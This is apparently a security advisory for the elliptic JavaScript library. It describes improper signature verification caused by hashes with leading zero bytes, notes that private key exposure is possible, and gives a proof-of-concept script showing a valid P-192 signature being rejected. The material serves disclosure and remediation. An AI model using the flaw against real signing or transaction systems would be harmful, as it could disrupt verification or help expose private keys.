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Overview

elliptic is a fast elliptic-curve cryptography implementation in plain javascript.

Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to an anomaly in the _truncateToN function. An attacker can cause legitimate transactions or communications to be incorrectly flagged as invalid by exploiting the signature verification process when the hash contains at least four leading 0 bytes, and the order of the elliptic curve's base point is smaller than the hash.

In some situations, a private key exposure is possible. This can happen when an attacker knows a faulty and the corresponding correct signature for the same message.

Note: Although the vector for exploitation of this vulnerability was restricted with the release of versions 6.6.0 and 6.6.1, it remains possible to generate invalid signatures in some cases in those releases as well.

PoC

var elliptic = require('elliptic'); // tested with version 6.5.7
var hash = require('hash.js');
var BN = require('bn.js');
var toArray = elliptic.utils.toArray;

var ec = new elliptic.ec('p192');
var msg = '343236343739373234';
var sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b';
// Same public key just in different formats
var pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723';
var pkPem = '-----BEGIN PUBLIC KEY-----\nMEkwEwYHKoZIzj0CAQYIKoZIzj0DAQEDMgAEzTWgsY7rj82H/wGXgAEoKHRfBG54\nXeuigVDeG+bLQ3ZSMAa+/zD/CbQEkSXO0pcj\n-----END PUBLIC KEY-----\n';

// Create hash
var hashArray = hash.sha256().update(toArray(msg, 'hex')).digest();
// Convert array to string (just for showcase of the leading zeros)
var hashStr = Array.from(hashArray, function(byte) {
  return ('0' + (byte & 0xFF).toString(16)).slice(-2);
}).join('');
var hMsg = new BN(hashArray, 'hex');
// Hashed message contains 4 leading zeros bytes
console.log('sha256 hash(str): ' + hashStr);
// Due to using BN bitLength lib it does not calculate the bit length correctly (should be 32 since it is a sha256 hash)
console.log('Byte len of sha256 hash: ' + hMsg.byteLength());
console.log('sha256 hash(BN): ' + hMsg.toString(16));

// Due to the shift of the message to be within the order of the curve the delta computation is invalid
var pubKey = ec.keyFromPublic(toArray(pk, 'hex'));
console.log('Valid signature: ' + pubKey.verify(hashStr, sig));

// You can check that this hash should validate by consolidating openssl
const fs = require('fs');
fs.writeFile('msg.bin', new BN(msg, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('sig.bin', new BN(sig, 16).toBuffer(), (err) => {
  if (err) throw err;
});
fs.writeFile('cert.pem', pkPem, (err) => {
  if (err) throw err;
});

// To verify the correctness of the message signature and key one can run:
// openssl dgst -sha256 -verify cert.pem -signature sig.bin msg.bin
// Or run this python script
/*
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec


msg = '343236343739373234'
sig = '303502186f20676c0d04fc40ea55d5702f798355787363a91e97a7e50219009d1c8c171b2b02e7d791c204c17cea4cf556a2034288885b'
pk = '04cd35a0b18eeb8fcd87ff019780012828745f046e785deba28150de1be6cb4376523006beff30ff09b4049125ced29723'

p192 = ec.SECP192R1()
pk = ec.EllipticCurvePublicKey.from_encoded_point(p192, bytes.fromhex(pk))
pk.verify(bytes.fromhex(sig), bytes.fromhex(msg), ec.ECDSA(hashes.SHA256()))
*/

Remediation

There is no fixed version for elliptic.

References

• GitHub Commit
• GitHub Issue
• GitHub PR